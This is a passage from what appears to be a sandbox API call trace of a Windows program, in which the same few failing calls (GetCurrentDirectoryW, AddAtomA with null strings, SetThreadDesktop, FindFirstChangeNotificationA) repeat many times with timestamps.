nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.668] GetLastError () returned 0x3 [0125.668] AddAtomA (lpString=0x0) returned 0x0 [0125.668] AddAtomA (lpString=0x0) returned 0x0 [0125.668] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.668] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.668] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.668] GetLastError () returned 0x3 [0125.668] AddAtomA (lpString=0x0) returned 0x0 [0125.668] AddAtomA (lpString=0x0) returned 0x0 [0125.668] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.669] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.669] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.669] GetLastError () returned 0x3 [0125.669] AddAtomA (lpString=0x0) returned 0x0 [0125.669] AddAtomA (lpString=0x0) returned 0x0 [0125.669] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.669] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.669] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.669] GetLastError () returned 0x3 [0125.669] AddAtomA (lpString=0x0) returned 0x0 [0125.669] AddAtomA (lpString=0x0) returned 0x0 [0125.669] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.669] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.669] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.669] GetLastError () returned 0x3 [0125.669] AddAtomA (lpString=0x0) returned 0x0 [0125.669] AddAtomA (lpString=0x0) returned 0x0 [0125.669] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.669] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.669] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.669] GetLastError () returned 0x3 [0125.669] AddAtomA (lpString=0x0) returned 0x0 [0125.669] AddAtomA (lpString=0x0) returned 0x0 [0125.669] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.669] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.669] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.669] GetLastError () returned 0x3 [0125.669] AddAtomA (lpString=0x0) returned 0x0 [0125.669] AddAtomA (lpString=0x0) returned 0x0 [0125.669] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.669] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.669] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.669] GetLastError () returned 0x3 [0125.669] AddAtomA (lpString=0x0) returned 0x0 [0125.670] AddAtomA (lpString=0x0) returned 0x0 [0125.670] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.670] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.670] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.670] GetLastError () returned 0x3 [0125.670] AddAtomA (lpString=0x0) returned 0x0 [0125.670] AddAtomA (lpString=0x0) returned 0x0 [0125.670] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.670] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.670] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.670] GetLastError () returned 0x3 [0125.670] AddAtomA (lpString=0x0) returned 0x0 [0125.670] AddAtomA (lpString=0x0) returned 0x0 [0125.670] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.670] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.670] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.670] GetLastError () returned 0x3 [0125.670] AddAtomA (lpString=0x0) returned 0x0 [0125.670] AddAtomA (lpString=0x0) returned 0x0 [0125.670] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.670] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.670] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.670] GetLastError () returned 0x3 [0125.670] AddAtomA (lpString=0x0) returned 0x0 [0125.670] AddAtomA (lpString=0x0) returned 0x0 [0125.671] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.671] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.671] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.671] GetLastError () returned 0x3 [0125.671] AddAtomA (lpString=0x0) returned 0x0 [0125.671] AddAtomA (lpString=0x0) returned 0x0 [0125.671] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.671] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.671] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.671] GetLastError () returned 0x3 [0125.671] AddAtomA (lpString=0x0) returned 0x0 [0125.671] AddAtomA (lpString=0x0) returned 0x0 [0125.671] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.671] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.671] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.671] GetLastError () returned 0x3 [0125.671] AddAtomA (lpString=0x0) returned 0x0 [0125.671] AddAtomA (lpString=0x0) returned 0x0 [0125.671] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.671] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.671] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.671] GetLastError () returned 0x3 [0125.671] AddAtomA (lpString=0x0) returned 0x0 [0125.671] AddAtomA (lpString=0x0) returned 0x0 [0125.671] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.671] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.671] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.672] GetLastError () returned 0x3 [0125.672] AddAtomA (lpString=0x0) returned 0x0 [0125.672] AddAtomA (lpString=0x0) returned 0x0 [0125.672] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.672] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.672] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.672] GetLastError () returned 0x3 [0125.672] AddAtomA (lpString=0x0) returned 0x0 [0125.672] AddAtomA (lpString=0x0) returned 0x0 [0125.672] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.672] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.672] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.672] GetLastError () returned 0x3 [0125.672] AddAtomA (lpString=0x0) returned 0x0 [0125.672] AddAtomA (lpString=0x0) returned 0x0 [0125.672] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.672] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.672] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.672] GetLastError () returned 0x3 [0125.672] AddAtomA (lpString=0x0) returned 0x0 [0125.672] AddAtomA (lpString=0x0) returned 0x0 [0125.672] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.672] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.672] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.672] GetLastError () returned 0x3 [0125.672] AddAtomA (lpString=0x0) returned 0x0 [0125.672] AddAtomA (lpString=0x0) returned 0x0 [0125.672] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.672] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.672] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.672] GetLastError () returned 0x3 [0125.672] AddAtomA (lpString=0x0) returned 0x0 [0125.672] AddAtomA (lpString=0x0) returned 0x0 [0125.672] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.672] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.673] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.673] GetLastError () returned 0x3 [0125.673] AddAtomA (lpString=0x0) returned 0x0 [0125.673] AddAtomA (lpString=0x0) returned 0x0 [0125.673] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.673] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.673] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.673] GetLastError () returned 0x3 [0125.673] AddAtomA (lpString=0x0) returned 0x0 [0125.673] AddAtomA (lpString=0x0) returned 0x0 [0125.673] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.673] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.673] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.673] GetLastError () returned 0x3 [0125.673] AddAtomA (lpString=0x0) returned 0x0 [0125.673] AddAtomA (lpString=0x0) returned 0x0 [0125.673] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.673] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.673] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.673] GetLastError () returned 0x3 [0125.673] AddAtomA (lpString=0x0) returned 0x0 [0125.673] AddAtomA (lpString=0x0) returned 0x0 [0125.673] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.673] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.673] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.673] GetLastError () returned 0x3 [0125.673] AddAtomA (lpString=0x0) returned 0x0 [0125.673] AddAtomA (lpString=0x0) returned 0x0 [0125.673] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.673] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.673] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.673] GetLastError () returned 0x3 [0125.673] AddAtomA (lpString=0x0) returned 0x0 [0125.673] AddAtomA (lpString=0x0) returned 0x0 [0125.673] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.674] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.674] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.674] GetLastError () returned 0x3 [0125.674] AddAtomA (lpString=0x0) returned 0x0 [0125.674] AddAtomA (lpString=0x0) returned 0x0 [0125.674] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.674] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.674] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.674] GetLastError () returned 0x3 [0125.674] AddAtomA (lpString=0x0) returned 0x0 [0125.674] AddAtomA (lpString=0x0) returned 0x0 [0125.674] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.674] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.674] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.674] GetLastError () returned 0x3 [0125.674] AddAtomA (lpString=0x0) returned 0x0 [0125.674] AddAtomA (lpString=0x0) returned 0x0 [0125.674] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.674] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.674] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.674] GetLastError () returned 0x3 [0125.674] AddAtomA (lpString=0x0) returned 0x0 [0125.674] AddAtomA (lpString=0x0) returned 0x0 [0125.674] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.674] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.674] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.674] GetLastError () returned 0x3 [0125.674] AddAtomA (lpString=0x0) returned 0x0 [0125.674] AddAtomA (lpString=0x0) returned 0x0 [0125.674] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.674] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.674] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.674] GetLastError () returned 0x3 [0125.674] AddAtomA (lpString=0x0) returned 0x0 [0125.674] AddAtomA (lpString=0x0) returned 0x0 [0125.675] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.675] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.675] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.675] GetLastError () returned 0x3 [0125.675] AddAtomA (lpString=0x0) returned 0x0 [0125.675] AddAtomA (lpString=0x0) returned 0x0 [0125.675] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.675] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.675] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.675] GetLastError () returned 0x3 [0125.675] AddAtomA (lpString=0x0) returned 0x0 [0125.675] AddAtomA (lpString=0x0) returned 0x0 [0125.675] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.675] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.675] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.675] GetLastError () returned 0x3 [0125.675] AddAtomA (lpString=0x0) returned 0x0 [0125.675] AddAtomA (lpString=0x0) returned 0x0 [0125.675] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.675] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.675] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.675] GetLastError () returned 0x3 [0125.675] AddAtomA (lpString=0x0) returned 0x0 [0125.675] AddAtomA (lpString=0x0) returned 0x0 [0125.675] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.675] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.675] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.675] GetLastError () returned 0x3 [0125.675] AddAtomA (lpString=0x0) returned 0x0 [0125.675] AddAtomA (lpString=0x0) returned 0x0 [0125.675] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.675] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.675] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.675] GetLastError () returned 0x3 [0125.675] AddAtomA (lpString=0x0) returned 0x0 [0125.675] AddAtomA (lpString=0x0) returned 0x0 [0125.675] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.676] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.676] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.676] GetLastError () returned 0x3 [0125.676] AddAtomA (lpString=0x0) returned 0x0 [0125.676] AddAtomA (lpString=0x0) returned 0x0 [0125.676] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.676] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.676] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.676] GetLastError () returned 0x3 [0125.676] AddAtomA (lpString=0x0) returned 0x0 [0125.676] AddAtomA (lpString=0x0) returned 0x0 [0125.676] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.676] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.676] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.676] GetLastError () returned 0x3 [0125.676] AddAtomA (lpString=0x0) returned 0x0 [0125.676] AddAtomA (lpString=0x0) returned 0x0 [0125.676] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.676] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.676] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.676] GetLastError () returned 0x3 [0125.676] AddAtomA (lpString=0x0) returned 0x0 [0125.676] AddAtomA (lpString=0x0) returned 0x0 [0125.676] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.676] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.676] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.676] GetLastError () returned 0x3 [0125.676] AddAtomA (lpString=0x0) returned 0x0 [0125.676] AddAtomA (lpString=0x0) returned 0x0 [0125.676] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.676] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.676] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.676] GetLastError () returned 0x3 [0125.676] AddAtomA (lpString=0x0) returned 0x0 [0125.676] AddAtomA (lpString=0x0) returned 0x0 [0125.677] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.677] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.677] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.677] GetLastError () returned 0x3 [0125.677] AddAtomA (lpString=0x0) returned 0x0 [0125.677] AddAtomA (lpString=0x0) returned 0x0 [0125.677] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.677] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.677] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.677] GetLastError () returned 0x3 [0125.677] AddAtomA (lpString=0x0) returned 0x0 [0125.677] AddAtomA (lpString=0x0) returned 0x0 [0125.677] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.677] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.677] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.677] GetLastError () returned 0x3 [0125.677] AddAtomA (lpString=0x0) returned 0x0 [0125.677] AddAtomA (lpString=0x0) returned 0x0 [0125.677] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.677] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.677] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.677] GetLastError () returned 0x3 [0125.677] AddAtomA (lpString=0x0) returned 0x0 [0125.677] AddAtomA (lpString=0x0) returned 0x0 [0125.677] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.677] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.677] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.677] GetLastError () returned 0x3 [0125.677] AddAtomA (lpString=0x0) returned 0x0 [0125.677] AddAtomA (lpString=0x0) returned 0x0 [0125.677] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.677] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.677] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.677] GetLastError () returned 0x3 [0125.677] AddAtomA (lpString=0x0) returned 0x0 [0125.678] AddAtomA (lpString=0x0) returned 0x0 [0125.678] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.678] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.678] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.678] GetLastError () returned 0x3 [0125.678] AddAtomA (lpString=0x0) returned 0x0 [0125.678] AddAtomA (lpString=0x0) returned 0x0 [0125.678] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.678] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.678] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.678] GetLastError () returned 0x3 [0125.678] AddAtomA (lpString=0x0) returned 0x0 [0125.678] AddAtomA (lpString=0x0) returned 0x0 [0125.678] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.678] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.678] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.678] GetLastError () returned 0x3 [0125.678] AddAtomA (lpString=0x0) returned 0x0 [0125.678] AddAtomA (lpString=0x0) returned 0x0 [0125.678] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.678] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.678] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.678] GetLastError () returned 0x3 [0125.678] AddAtomA (lpString=0x0) returned 0x0 [0125.678] AddAtomA (lpString=0x0) returned 0x0 [0125.678] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.678] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.678] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.678] GetLastError () returned 0x3 [0125.678] AddAtomA (lpString=0x0) returned 0x0 [0125.678] AddAtomA (lpString=0x0) returned 0x0 [0125.678] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.678] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.678] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.678] GetLastError () returned 0x3 [0125.678] AddAtomA (lpString=0x0) returned 0x0 [0125.679] AddAtomA (lpString=0x0) returned 0x0 [0125.679] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.679] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.679] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.679] GetLastError () returned 0x3 [0125.679] AddAtomA (lpString=0x0) returned 0x0 [0125.679] AddAtomA (lpString=0x0) returned 0x0 [0125.679] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.679] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.679] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.679] GetLastError () returned 0x3 [0125.679] AddAtomA (lpString=0x0) returned 0x0 [0125.679] AddAtomA (lpString=0x0) returned 0x0 [0125.679] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.679] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.679] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.679] GetLastError () returned 0x3 [0125.679] AddAtomA (lpString=0x0) returned 0x0 [0125.679] AddAtomA (lpString=0x0) returned 0x0 [0125.679] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.679] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.679] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.679] GetLastError () returned 0x3 [0125.679] AddAtomA (lpString=0x0) returned 0x0 [0125.679] AddAtomA (lpString=0x0) returned 0x0 [0125.679] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.679] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.679] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.679] GetLastError () returned 0x3 [0125.679] AddAtomA (lpString=0x0) returned 0x0 [0125.679] AddAtomA (lpString=0x0) returned 0x0 [0125.679] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.679] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.679] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.679] GetLastError () returned 0x3 [0125.680] AddAtomA (lpString=0x0) returned 0x0 [0125.680] AddAtomA (lpString=0x0) returned 0x0 [0125.680] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.680] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.680] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.680] GetLastError () returned 0x3 [0125.680] AddAtomA (lpString=0x0) returned 